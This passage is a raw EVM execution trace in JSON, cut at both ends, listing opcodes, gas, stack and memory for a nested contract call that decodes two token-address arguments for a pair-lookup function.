29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x20","0x200","0x44","0x200","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1879c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":98588,"gasCost":3,"depth":2,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":98585,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":98582,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":98570,"gasCost":2,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":98568,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"ISZERO","gas":98565,"gasCost":3,"depth":2,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":98562,"gasCost":3,"depth":2,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":98559,"gasCost":10,"depth":2,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":98549,"gasCost":1,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":98548,"gasCost":2,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":98546,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":98543,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":98541,"gasCost":3,"depth":2,"stack":["0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":98538,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":98535,"gasCost":10,"depth":2,"stack":["0x0","0xbe"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":98525,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":98522,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":98519,"gasCost":3,"depth":2,"stack":["0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":98516,"gasCost":3,"depth":2,"stack":["0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":98513,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":98510,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":98507,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xb30ebecd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":98504,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":98501,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x76"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":43,"op":"DUP1","gas":98491,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":44,"op":"PUSH4","gas":98488,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":49,"op":"GT","gas":98485,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc79c4c62"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":50,"op":"PUSH2","gas":98482,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":53,"op":"JUMPI","gas":98479,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x5b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":54,"op":"DUP1","gas":98469,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":55,"op":"PUSH4","gas":98466,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":60,"op":"EQ","gas":98463,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc79c4c62"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":61,"op":"PUSH2","gas":98460,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":64,"op":"JUMPI","gas":98457,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x185"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":65,"op":"DUP1","gas":98447,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":66,"op":"PUSH4","gas":98444,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":71,"op":"EQ","gas":98441,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc9c65396"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":72,"op":"PUSH2","gas":98438,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":75,"op":"JUMPI","gas":98435,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x198"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":76,"op":"DUP1","gas":98425,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":77,"op":"PUSH4","gas":98422,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":82,"op":"EQ","gas":98419,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":83,"op":"PUSH2","gas":98416,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":86,"op":"JUMPI","gas":98413,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x1","0x1ab"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":427,"op":"JUMPDEST","gas":98403,"gasCost":1,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":428,"op":"PUSH2","gas":98402,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":431,"op":"PUSH2","gas":98399,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":434,"op":"CALLDATASIZE","gas":98396,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":435,"op":"PUSH1","gas":98394,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":437,"op":"PUSH2","gas":98391,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":440,"op":"JUMP","gas":98388,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x6ea"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1770,"op":"JUMPDEST","gas":98380,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1771,"op":"PUSH1","gas":98379,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1773,"op":"DUP1","gas":98376,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1774,"op":"PUSH1","gas":98373,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1776,"op":"DUP4","gas":98370,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1777,"op":"DUP6","gas":98367,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1778,"op":"SUB","gas":98364,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1779,"op":"SLT","gas":98361,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1780,"op":"ISZERO","gas":98358,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1781,"op":"PUSH2","gas":98355,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1784,"op":"JUMPI","gas":98352,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x1","0x6fd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1789,"op":"JUMPDEST","gas":98342,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1790,"op":"PUSH2","gas":98341,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1793,"op":"DUP4","gas":98338,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1794,"op":"PUSH2","gas":98335,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1797,"op":"JUMP","gas":98332,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x6ce"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1742,"op":"JUMPDEST","gas":98324,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1743,"op":"DUP1","gas":98323,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1744,"op":"CALLDATALOAD","gas":98320,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1745,"op":"PUSH1","gas":98317,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1747,"op":"PUSH1","gas":98314,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1749,"op":"PUSH1","gas":98311,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1751,"op":"SHL","gas":98308,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1752,"op":"SUB","gas":98305,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1753,"op":"DUP2","gas":98302,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1754,"op":"AND","gas":98299,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1755,"op":"DUP2","gas":98296,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1756,"op":"EQ","gas":98293,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1757,"op":"PUSH2","gas":98290,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1760,"op":"JUMPI","gas":98287,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x6e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1765,"op":"JUMPDEST","gas":98277,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1766,"op":"SWAP2","gas":98276,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1767,"op":"SWAP1","gas":98273,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1768,"op":"POP","gas":98270,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1769,"op":"JUMP","gas":98268,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1798,"op":"JUMPDEST","gas":98260,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1799,"op":"SWAP2","gas":98259,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1800,"op":"POP","gas":98256,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1801,"op":"PUSH2","gas":98254,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1804,"op":"PUSH1","gas":98251,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1806,"op":"DUP5","gas":98248,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1807,"op":"ADD","gas":98245,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1808,"op":"PUSH2","gas":98242,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1811,"op":"JUMP","gas":98239,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x6ce